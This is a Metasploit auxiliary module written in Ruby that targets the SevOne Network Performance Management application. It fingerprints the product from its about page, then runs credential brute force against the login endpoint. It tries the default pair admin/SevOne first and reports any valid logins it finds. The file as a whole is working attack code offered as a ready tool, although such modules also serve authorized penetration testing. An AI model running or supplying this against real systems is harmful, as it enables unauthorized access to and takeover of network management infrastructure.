##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/proto/http'
require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute
  include Msf::Auxiliary::Scanner

  def initialize(info={})
    super(update_info(info,
      'Name'	=> 'SevOne Network Performance Management Application Brute Force Login Utility',
      'Description'    => %{
          This module scans for SevOne Network Performance Management System Application,
        finds its version, and performs login brute force to identify valid credentials.
      },
      'Author'         =>
        [
          'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
        ],
      'DisclosureDate' => 'Jun 07 2013',
      'License'        => MSF_LICENSE
    ))
  register_options(
    [
      OptString.new('USERNAME', [false, 'A specific username to authenticate as', 'admin']),
      OptString.new('PASSWORD', [false, 'A specific password to authenticate with', 'SevOne'])
    ], self.class)
  end

  def run_host(ip)
    unless is_app_sevone?
      print_error("#{rhost}:#{rport} - Application does not appear to be SevOne. Module will not continue.")
      return
    end

    print_status("#{rhost}:#{rport} - Starting login brute force...")
    each_user_pass do |user, pass|
      do_login(user, pass)
    end
  end

  #
  # What's the point of running this module if the app actually isn't SevOne?
  #
  def is_app_sevone?
    res = send_request_cgi(
    {
      'uri'       => '/doms/about/index.php',
      'method'    => 'GET'
    })

    if (res and res.code.to_i == 200 and res.get_cookies.include?('SEVONE'))
      version_key = /Version: <strong>(.+)<\/strong>/
      version = res.body.scan(version_key).flatten
      print_good("#{rhost}:#{rport} - Application confirmed to be SevOne Network Performance Management System version #{version}")
      return true
    end
    return false
  end

  #
  # Brute-force the login page
  #
  def do_login(user, pass)
    vprint_status("#{rhost}:#{rport} - Trying username:'#{user.inspect}' with password:'#{pass.inspect}'")
    begin
      res = send_request_cgi(
      {
        'uri'       => "/doms/login/processLogin.php",
        'method'    => 'GET',
        'vars_get'    =>
        {
          'login' => user,
          'passwd' => pass,
          'tzOffset' => '-25200',
          'tzString' => 'Thur+May+05+1983+05:05:00+GMT+0700+'
        }
      })

    if res.nil?
      print_error("#{rhost}:#{rport} - Connection timed out")
      return :abort
    end

    check_key = "The user has logged in successfully."

    key = JSON.parse(res.body)["statusString"]

    if (not res or key != "#{check_key}")
      vprint_error("#{rhost}:#{rport} - FAILED LOGIN. '#{user.inspect}' : '#{pass.inspect}' with code #{res.code}")
      return :skip_pass
    else
      print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN. '#{user.inspect}' : '#{pass.inspect}'")

      report_hash = {
        :host   => rhost,
        :port   => rport,
        :sname  => 'SevOne Network Performance Management System Application',
        :user   => user,
        :pass   => pass,
        :active => true,
        :type   => 'password'}

      report_auth_info(report_hash)
      return :next_user
    end

    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
      print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting")
      return :abort
    end
  end
end